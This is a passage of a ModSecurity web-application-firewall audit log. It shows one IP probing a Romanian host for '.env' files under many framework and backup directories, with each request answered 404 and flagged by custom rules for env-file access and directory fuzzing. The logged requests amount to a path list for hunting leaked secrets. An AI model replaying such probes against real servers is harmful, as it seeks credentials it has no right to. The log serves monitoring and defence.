Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/next/.env"] [unique_id "aqYL9Uwu1RSkptiiNIXtsAAAAJI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266933273783 119591 (- - -)
Stopwatch2: 1789266933273783 119591; combined=5040, p1=834, p2=4133, p3=0, p4=0, p5=72, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--25b08149-Z--
--a439a47c-A--
[13/Sep/2026:05:35:35.328320 +0300] aqYL90wu1RSkptiiNIXtsQAAAJQ 34.175.231.24 57902 127.0.0.1 7081
--a439a47c-B--
GET /nuxt/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a439a47c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a439a47c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/nuxt/.env"] [unique_id "aqYL90wu1RSkptiiNIXtsQAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266935211994 116381 (- - -)
Stopwatch2: 1789266935211994 116381; combined=3961, p1=210, p2=3662, p3=0, p4=0, p5=89, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a439a47c-Z--
--e9281453-A--
[13/Sep/2026:05:35:37.173649 +0300] aqYL@SsVWymXUono-eRQsQAAAAg 34.175.231.24 48492 127.0.0.1 7081
--e9281453-B--
GET /nest/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e9281453-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e9281453-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/nest/.env"] [unique_id "aqYL@SsVWymXUono-eRQsQAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266937045116 128591 (- - -)
Stopwatch2: 1789266937045116 128591; combined=6599, p1=457, p2=6088, p3=0, p4=0, p5=54, sr=211, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e9281453-Z--
--bcff6f1a-A--
[13/Sep/2026:05:35:39.403148 +0300] aqYL@0wu1RSkptiiNIXtswAAAIU 34.175.231.24 48510 127.0.0.1 7081
--bcff6f1a-B--
GET /react/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--bcff6f1a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bcff6f1a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/react/.env"] [unique_id "aqYL@0wu1RSkptiiNIXtswAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266939264374 138829 (- - -)
Stopwatch2: 1789266939264374 138829; combined=6776, p1=424, p2=6292, p3=0, p4=0, p5=59, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bcff6f1a-Z--
--97f5c019-A--
[13/Sep/2026:05:35:40.913887 +0300] aqYL-GM7dE9KgIIOpQhdxgAAANE 34.175.231.24 48534 127.0.0.1 7081
--97f5c019-B--
GET /vue/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--97f5c019-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--97f5c019-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/vue/.env"] [unique_id "aqYL-GM7dE9KgIIOpQhdxgAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266940797259 116693 (- - -)
Stopwatch2: 1789266940797259 116693; combined=4502, p1=258, p2=4186, p3=0, p4=0, p5=58, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--97f5c019-Z--
--25b08149-A--
[13/Sep/2026:05:35:43.074284 +0300] aqYL-jTJ6xTvcJoem7f1igAAAEQ 34.175.231.24 48546 127.0.0.1 7081
--25b08149-B--
GET /angular/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--25b08149-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--25b08149-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/angular/.env"] [unique_id "aqYL-jTJ6xTvcJoem7f1igAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266942953387 120952 (- - -)
Stopwatch2: 1789266942953387 120952; combined=5677, p1=337, p2=5278, p3=0, p4=0, p5=62, sr=176, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--25b08149-Z--
--0ed9951c-A--
[13/Sep/2026:05:35:44.882914 +0300] aqYMAEwu1RSkptiiNIXttQAAAJc 34.175.231.24 48566 127.0.0.1 7081
--0ed9951c-B--
GET /svelte/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0ed9951c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0ed9951c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/svelte/.env"] [unique_id "aqYMAEwu1RSkptiiNIXttQAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266944767035 115968 (- - -)
Stopwatch2: 1789266944767035 115968; combined=4327, p1=281, p2=3986, p3=0, p4=0, p5=60, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0ed9951c-Z--
--a74e4309-A--
[13/Sep/2026:05:35:46.707449 +0300] aqYMAmM7dE9KgIIOpQhdyAAAANY 34.175.231.24 42500 127.0.0.1 7081
--a74e4309-B--
GET /vite/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a74e4309-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a74e4309-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/vite/.env"] [unique_id "aqYMAmM7dE9KgIIOpQhdyAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266946583835 123668 (- - -)
Stopwatch2: 1789266946583835 123668; combined=5222, p1=1056, p2=4109, p3=0, p4=0, p5=56, sr=165, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a74e4309-Z--
--a439a47c-A--
[13/Sep/2026:05:35:48.582738 +0300] aqYMBDTJ6xTvcJoem7f1iwAAAEw 34.175.231.24 42524 127.0.0.1 7081
--a439a47c-B--
GET /backup/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a439a47c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a439a47c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backup/.env"] [unique_id "aqYMBDTJ6xTvcJoem7f1iwAAAEw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266948448406 134407 (- - -)
Stopwatch2: 1789266948448406 134407; combined=4283, p1=294, p2=3934, p3=0, p4=0, p5=54, sr=130, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a439a47c-Z--
--bcff6f1a-A--
[13/Sep/2026:05:35:50.585445 +0300] aqYMBjTJ6xTvcJoem7f1jQAAAEE 34.175.231.24 42550 127.0.0.1 7081
--bcff6f1a-B--
GET /backups/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--bcff6f1a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bcff6f1a-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backups/.env||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/backups/.env||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backups/.env||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/backups/.env"] [unique_id "aqYMBjTJ6xTvcJoem7f1jQAAAEE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/backups/.env||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backups/.env"] [unique_id "aqYMBjTJ6xTvcJoem7f1jQAAAEE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backups/.env"] [unique_id "aqYMBjTJ6xTvcJoem7f1jQAAAEE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266950437079 148434 (- - -)
Stopwatch2: 1789266950437079 148434; combined=33359, p1=300, p2=32984, p3=0, p4=0, p5=74, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bcff6f1a-Z--
--b881dd1d-A--
[13/Sep/2026:05:35:52.353301 +0300] aqYMCGM7dE9KgIIOpQhdyQAAAMY 34.175.231.24 42568 127.0.0.1 7081
--b881dd1d-B--
GET /old/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b881dd1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b881dd1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/old/.env"] [unique_id "aqYMCGM7dE9KgIIOpQhdyQAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266952230792 122572 (- - -)
Stopwatch2: 1789266952230792 122572; combined=4099, p1=305, p2=3728, p3=0, p4=0, p5=66, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b881dd1d-Z--
--34753a7f-A--
[13/Sep/2026:05:35:54.286497 +0300] aqYMCisVWymXUono-eRQswAAABA 34.175.231.24 42580 127.0.0.1 7081
--34753a7f-B--
GET /tmp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--34753a7f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--34753a7f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/tmp/.env"] [unique_id "aqYMCisVWymXUono-eRQswAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266954124045 162511 (- - -)
Stopwatch2: 1789266954124045 162511; combined=4392, p1=289, p2=3998, p3=0, p4=0, p5=105, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34753a7f-Z--
--8da1695f-A--
[13/Sep/2026:05:35:55.976663 +0300] aqYMCysVWymXUono-eRQtAAAAAE 34.175.231.24 51372 127.0.0.1 7081
--8da1695f-B--
GET /temp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8da1695f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8da1695f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/temp/.env"] [unique_id "aqYMCysVWymXUono-eRQtAAAAAE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266955832309 144408 (- - -)
Stopwatch2: 1789266955832309 144408; combined=4159, p1=204, p2=3900, p3=0, p4=0, p5=55, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8da1695f-Z--
--4443147b-A--
